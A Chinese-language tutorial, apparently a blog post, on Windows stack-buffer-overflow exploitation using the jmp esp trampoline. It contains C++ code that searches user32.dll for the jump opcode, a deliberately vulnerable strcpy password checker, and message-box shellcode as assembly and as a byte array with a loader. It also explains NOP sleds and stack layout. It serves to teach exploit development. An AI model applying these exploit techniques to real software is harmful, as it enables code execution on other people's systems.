开发shellcode的艺术
专业术语
ShellCode:实际是一段代码(也可以是填充数据)
exploit:攻击通过ShellCode等方法攻击漏洞
栈帧移位与jmp esp
一般情况下,ESP寄存器中的地址总是指向系统栈且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们淹没的返回地址的下一个位置。可以通过OD调试看的到。
注:函数返回时,ESP所指的位置还与函数调用约定、返回指令有关系。例如retn 3 和retn4在返回之后,ESP所指向的位置都会有所差异。
由于ESP寄存器在函数返回之后不被栈溢出控制,且始终指向返回地址的下一个位置,
我们可以使用一种“黑科技”如下图定位ShellCode的方法来动态定位。
(1)用内存中任意一个jmp esp 指令覆盖函数的返回地址,而不是向上一次的“栈溢出原理与实现”中的例子那样去通过OD手动查出ShellCode起始地址直接覆盖。
(2)函数返回后被重定向去执行内存中的这条jum esp指令,而不是直接开始执行ShellCode。
(3)由于esp在函数返回时任然指向栈区(函数返回地址之后),jmp esp指令被执行之后,处理器会找到栈区函数的返回地址之后的地方取指令执行。
(4)重新布置ShellCode。在淹没函数返回地址之后,继续淹没一片栈空间,将缓冲区前边的一段地方任意数据填充,把ShellCode恰好的摆放在函数的返回地址之后。这样,jmp
esp 指令执行过后会恰好跳进ShellCode。
这种定位ShellCode的方法使用进程空间里的一条jmp esp 指令作为“跳板”,不论栈帧怎么移位,都能够精确的跳回栈区,从而适应程序运行中ShellCode内存地址的动态变化。
1998年,黑客组织“Cult of the Dead Cow”的Dlidog在Bugtrq邮件列表中以MIcrosoft Netmeeting为例首次提出利用jmp esp完成对ShellCode的动态定位,从而解决了Windows下栈
帧移位问题给开发稳定的exploit带来的重重困难。毫不夸张的讲,跳板技术应该算是Windows栈溢出利用技术里的一个里程碑。
获取“跳板”地址
1 #include<iostream> 2 #include <WINDOWS.H> 3 using namespace std; 4 5 int main() 6 { 7 BYTE* ptr = NULL; 8 int position = 0; 9 int address = 0; 10 BOOL bDone = FALSE; 11 HINSTANCE handle = LoadLibrary("user32.dll"); 12 13 if(handle==NULL) 14 { 15 printf("Dll Load Failed!"); 16 exit(0); 17 } 18 19 ptr = (BYTE*)handle; 20 21 for (position=0;!bDone;position++) 22 { 23 try 24 { 25 if(ptr[position]==0xFF&&ptr[position+1]==0xE4) 26 { 27 //OxFFE4 是 jmp esp 的汇编指令 28 address = (int)ptr +position; 29 printf("the jmp address if 0x%x\n",address); 30 break; 31 } 32 33 } 34 catch (...) 35 { 36 address = (int)ptr +position; 37 printf("End of 0x%x\n",address); 38 bDone = TRUE; 39 } 40 } 41 42 return 0; 43 }
Jmp esp 对应的机器码是0xFFE4,上述程序的作用就是从user32.dll在内存中的基地址开始向后搜索0xFFE4,如果找到就返回其内存指针值。
这是通过我们代码找到的跳板的位置如下:
使用“跳板”定位的exploit
我们使用上面的出的“跳板地址”0x777f305b,作为我们执行jmp esp 的指令,通过获得user32和kernel32基地址,计算出MessageBoxA和ExitProcess的函数地址,我们开始构建我们的ShellCode。
#include <IOSTREAM> #include <Windows.h> using namespace std; int main() { HINSTANCE hLibrary = LoadLibrary("user32.dll"); //768c0000 kernel32.dll /* 测试 ExitProcess(0) 函数是否可用 其地址 0x768c0000 kernel32.dll _asm { xor ebx,ebx push ebx mov eax,0x768E9850 call eax } */ _asm { xor ebx,ebx push ebx push 0x74736577 //字符串 push 0x6c696166 mov eax,esp push ebx push eax push eax push ebx mov eax,0x777D74C0 //MessageBoxA call eax push ebx mov eax,0x768E9850 //ExitProcess call eax } return 0; }
为了提取汇编代码的对应的机器码,我们将上述代码用VC编译通过之后,通过OD加载调试,获取该段汇编的机器码,机器码如下:
通过二进制编辑器,将代码写入文件
我们将读取文件,通过栈溢出,使得ShellCode放到合适的位置
#include <IOSTREAM> #include <Windows.h> using namespace std; #define PASS_WORD "1234567" int verify_password(char* password) { int authentitated; char szBuffer[44]; authentitated = strcmp(password,PASS_WORD); strcpy(szBuffer,password); return authentitated; } int main() { int valid_flag = 0; char password[1024] = {0}; FILE* fp ; fp=fopen("password.txt","rw+"); HMODULE h = LoadLibrary("user32.dll"); printf("%x\r\n",h); //0x77760000 //0x000774C0 //0x777D74C0 //MessageBox地址 //0x0018FA88 //buffer 中的地址 if(fp==NULL) { exit(0); } fscanf(fp,"%s",password); valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\r\n"); } else { printf("Congratulation! you have passed the verification!\r\n"); } fclose(fp); return 0; }
编译运行,发现程序运行正常,且正常退出,我们成功啦!运行结果就不截图了。
缓冲区组织
如果使用jmp esp 作为定位ShellCode的跳板,那么在函数返回后要根据缓冲区的大小、所需ShellCode的长度等实际情况灵活的布置缓冲区。送入缓冲区的数据可以分为以下几种:
(1)填充物:可以是任何值,但是一般用NOP指令对应的0x90来填充缓冲区,并把ShellCode布置于其后,这样即使不能准确的跳到ShellCode的开始,只要能跳进填充区域,
处理器最终也会执行到ShellCode。(2)淹没返回地址的数据:可以是跳转指令的地址、ShellCode的起始地址,甚至是一个近似ShellCode地址的地址。
(3)ShellCode:可执行的机器代码。
我们上面这么做难道就没有问题吗?如果我们的ShellCode超过函数返回地址以后将是前一个栈的栈帧,我们平时开发一个有用的ShellCode往往需要几百个字节,这样大范围的破坏
栈帧数据可能会引发一些其他的问题。例如,若想在执行完ShellCode通过修复寄存器的值,让函数正常返回继续执行原程序,就不能随意破坏栈帧数据。
抬高栈顶保护ShellCode
将ShellCode布置在缓冲区中虽然有不少的好处,但是也会产生问题。函数返回时,当前栈帧弹出,这时候缓冲区位于栈顶ESP之上的内存区域。在弹出栈帧时只是改变了ESP寄存器
中的值,逻辑上ESP以上的内存空间的数据已经作废,物理上这些数据并没有被销毁。如果ShellCode中没有压栈指令向栈中 写入数据就没有太大的影响;但是如果使用push指令在栈
中暂存数据,压栈数据就有可能破坏到ShellCode本身。
当缓冲区相对于ShellCode较大时,把ShellCode布置在缓冲区的“前端”(内存低地址方向),这是ShellCode离栈顶较远,几次压栈只可能破坏到一些Nop值;但是,如果缓冲区已经
被我们的ShellCode占满,则要执行的ShellCode就离栈顶比较近,这样的情况就很危险了。如果存在push压栈操作,导致ESP 向低地址方向移动,我们构建的ShellCode就会遭到破坏。
所以,为了使得ShellCode具有较强的通用性,我们通常会在ShellCode一开始的范围就抬高栈顶,把ShellCode藏在栈内,从而达到保护ShellCode的作用。
过程如下图:
使用其他跳转指令
使用jmp esp做“跳板”的方法是最简单,也是最常用的定位ShellCode的方法。在实际的漏洞利用过程中,应当注意观察漏洞函数返回时所有寄存器的值。除了ESP之外,EAX、EBX、ESI等
寄存器也会指向栈顶附近,故在选择跳转指令时也可以灵活一些,除了jmp esp之外,mov eax、esp和jmp eax等序列亦可以完成进入栈的功能。
常用的跳转指令与机器码之间的对应关系:
可以使用我们上面的程序,来获得这其中任意一个跳转指令在加载模块中的地址。
ShellCode的加载与调试
ShellCode最常见的形式就是用转移字符把机器码存在一个数组中,如我们之前弹出消息框并能够退出程序的ShellCode就可以存成以下的形式。
#include<iostream> using namespace std; int main() { //777D74C0 768E9850 char Shell_Code[]= "\x66\x81\xEC\x40\x04" "\x33\xDB" "\x53" "\x68\x77\x65\x73\x74" "\x68\x66\x61\x69\x6C" "\x8B\xc4" "\x53" "\x50" "\x50" "\x53" "\xB8\xC0\x74\x7D\x77" "\xFF\xD0" "\x53" "\xB8\x50\x98\x8E\x76" "\xFF\xD0"; _asm { lea eax,Shell_Code push eax ret } return 0; }
ret指令会将push进去的ShellCode在栈中的位置弹给EIP,让处理器去跳过去执行ShellCode,我们可以用这个程序运行搜索到的ShellCode,并调试它。
若发现不能满足需求,可以在原先的基础上修改,增加功能。